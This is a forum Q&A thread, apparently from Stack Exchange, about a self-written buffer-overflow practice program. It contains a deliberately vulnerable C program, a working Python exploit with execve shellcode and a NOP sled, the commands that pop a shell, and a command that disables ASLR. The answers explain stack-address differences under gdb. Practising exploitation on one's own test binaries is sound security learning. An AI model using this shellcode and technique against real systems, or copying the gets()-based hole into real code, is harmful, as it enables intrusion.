1

I wrote a vulnerable test program to practice buffer overflows; however, I was having trouble getting it to work. Finally, after slightly modifying the return address, I was able to gain a shell, but I don't understand why this small, seemingly-insignificant change fixed my issue.

vuln.c

/**
 * Compile:
 *
 * $ gcc -fno-stack-protector -z execstack -o vuln vuln.c
 */

#include <stdio.h>
#include <string.h>

int main(void)
{
    char buffer[256];

    gets(buffer);

    if (strcmp(buffer, "password") == 0)
    {
        printf("PASS\n");
    }
    else
    {
        printf("FAIL\n");
    }

    return 0;
}

exploit.py

#!/usr/bin/python
# -*- coding: utf-8 -*-


import os
import struct
import sys



# Start-of-buffer = 0x00007fffffffdc50
if len(sys.argv) != 2:
    sys.stderr.write('Usage: {progname!s} return-addr{linesep!s}'.format(
            progname=__file__, linesep=os.linesep
            )
        )
    sys.exit(1)
else:
    return_addr = int(sys.argv[1], 16)


shellcode = b''.join([
        b'\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68',    # mov     rax, 0x68732f6e69622f2f   ; "hs/nib//" => "//bin/sh"
        b'\x48\xc1\xe8\x08',                            # shr     rax, 8
        b'\x50',                                        # push    rax
        b'\x48\x89\xe7',                                # mov     rdi, rsp
        b'\x48\x31\xc0',                                # xor     rax, rax
        b'\x50',                                        # push    rax
        b'\x57',                                        # push    rdi
        b'\x48\x89\xe6',                                # mov     rsi, rsp
        b'\x50',                                        # push    rax
        b'\x48\x89\xe2',                                # mov     rdx, rsp
        b'\xb0\x3b',                                    # mov     al, 59

        b'\x0f\x05',                                    # syscall
        ]
    )

PAYLOAD_SIZE = 256 + 8 + 8

padding = b'\x41' * 32

nopsled = b'\x90' * (PAYLOAD_SIZE - len(shellcode) - 8 - 8 - len(padding))

rbp = struct.pack('<Q', 0x4242424242424242)

rip = struct.pack('<Q', return_addr)

payload = nopsled + shellcode + padding + rbp + rip


sys.stdout.buffer.write(payload)

When I execute the following, I get a SEGFAULT:

$ { python exploit.py 0x00007fffffffdc50 ; echo ; cat - } | ./vuln

However, this gives me a shell:

$ { python exploit.py 0x00007fffffffdcd0 ; echo ; cat - } | ./vuln

Note

I disabled ASLR during my testing.

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Other considerations

$ uname -r
4.19.81-1-MANJARO
$ gcc --version
gcc (GCC) 9.2.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

3 Answers 3

2

How are you determining the address of buffer[]? If you're running the app under gdb, printing the address, and then running the exploit script using that address against the application running outside gdb, then note that the stack may be at a different address depending on whether you're running under gdb!

For example, I modified vuln.c to print the address when it starts:

printf("%p\n", &buffer[0]);

When I run the application directly, the result is consistently one address:

$ echo x | ./tmp 0x7fffffffe1f0

... but when I run the application under gdb, the result is consistently a different address:

$ echo x | gdb -ex run ./tmp ... 0x7fffffffe1a0

The difference between those two values may be the "0x...50 <-> 0x...d0" difference you're having to apply in order to get the exploit to work.

Now if I use the non-gdb buffer address when running the app outside gdb, the exploit works as expected.

$ ./tmp-exploit.py 0x7fffffffe1f0 | ./tmp 0x7fffffffe1f0 FAIL

$ ./tmp-exploit.py 0x7fffffffe1a0 | gdb -ex run ./tmp ... 0x7fffffffe1a0 FAIL process 23430 is executing new program: /bin/dash [Inferior 1 (process 23430) exited normally] (gdb) quit

1
  • That is exactly what I was doing -- running the executable under GDB, printing the address, and then re-running it outside of GDB and passing it this address. Thank you for your in-depth explanation and for answering my question!
    – jinscoe123
    May 10, 2020 at 20:30
1

This is a bit of a guess without information such as:

  • Details of the segfault.
  • Disassembly of the vulnerable application binary.

The C compiler knows that buffer[] isn't used after the call to strcmp(), and hence may re-use it for other purposes between the return from strcmp() and return from main(). This may corrupt the first few bytes of buffer[], causing it to contain invalid instructions, causing the segfault.

To confirm this, run the vulnerable application under gdb, put a breakpoint in main() after gets() returns and dump buffer[]. Record the address of buffer. Continue the application and wait for the segfault. Now dump the memory of buffer[] again and check if the content still contains the nopsled, or whether it's been over-written.

By changing from 0x...50 to 0x...90 you're jumping to a later part of the payload and skipping the corrupted portion.

2
  • So, what i wrote above is a legitimate possibility in general. However, having played a bit with the code in the question, I'm not sure it is an explanation in this case; on Ubuntu 18.04 using the default gcc, I can reproduce the difference in behavior based on return address after a tiny change to the program, and there's no change to the data in buffer[]. Strangely, it always works under gdb. Something more involved is going on. I wonder if this exploit is tripping some anti-buffer-overflow protection that's not yet disabled for the test? Apr 13, 2020 at 19:14
  • Well, running under gdb shows no corruption of buffer[], but when I run without gdb with core dumps enabled, then disassemble buffer[], I do see the first 64 bytes replaced with some other content, which explains the issue very well... Apr 13, 2020 at 19:24
0

Changing something small in a payload can have huge effects on the success or failure of an attempt. I assume the small change allowed the payload to be put in an acceptable location to hijack the programs execution while the former only overwrote some of the buffers but caused a crash.

2
  • I ran the vulnerable executable in GDB with both payloads, and both times, the shellcode was executed. The only difference that I can see is the number of NOPs that get executed.
    – jinscoe123
    Nov 11, 2019 at 6:06
  • Executing with different return addresses near the one that worked the return address step by step and seeing how many NOPS get executed. Nov 16, 2019 at 5:36

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.